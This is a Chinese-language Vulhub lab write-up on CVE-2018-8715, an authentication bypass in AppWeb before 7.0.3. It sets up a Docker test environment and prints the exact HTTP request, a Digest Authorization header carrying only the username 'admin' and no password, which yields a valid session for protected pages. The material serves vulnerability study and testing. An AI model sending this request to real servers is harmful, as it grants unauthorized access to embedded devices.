AppWeb認證繞過漏洞(CVE-2018-8715)
Path appweb/CVE-2018-8715
AppWeb是Embedthis Software LLC公司負責開發維護的一個基于GPL開源協議的嵌入式Web Server。他使用C/C++來編寫,能夠運行在幾乎先進所有流行的操作系統上。當然他最主要的應用場景還是為嵌入式設備提供Web Application容器。
AppWeb可以進行認證配置,其認證方式包括以下三種:
- basic 傳統HTTP基礎認證
- digest 改進版HTTP基礎認證,認證成功后將使用Cookie來保存狀態,而不用再傳遞Authorization頭
- form 表單認證
其7.0.3之前的版本中,對于digest和form兩種認證方式,如果用戶傳入的密碼為null(也就是沒有傳遞密碼參數),appweb將因為一個邏輯錯誤導致直接認證成功,并返回session。
參考鏈接:
漏洞環境
執行如下命令啟動一個帶有digest認證的appweb服務器:
docker-compose up -d
訪問http://your-ip:8080,可見需要輸入賬號密碼。
漏洞復現
利用該漏洞需要知道一個已存在的用戶名,當前環境下用戶名為admin。
構造頭Authorization: Digest username=admin,并發送如下數據包:
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
可見,因為我們沒有傳入密碼字段,所以服務端出現錯誤,直接返回了200,且包含一個session:

設置這個session到瀏覽器,即可正常訪問需要認證的頁面:

Vulhub 文檔
推薦文章: